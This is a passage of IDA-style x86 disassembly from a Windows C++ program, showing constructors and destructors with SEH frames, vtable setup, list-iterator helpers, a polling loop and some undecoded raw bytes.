		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F30


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F30


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



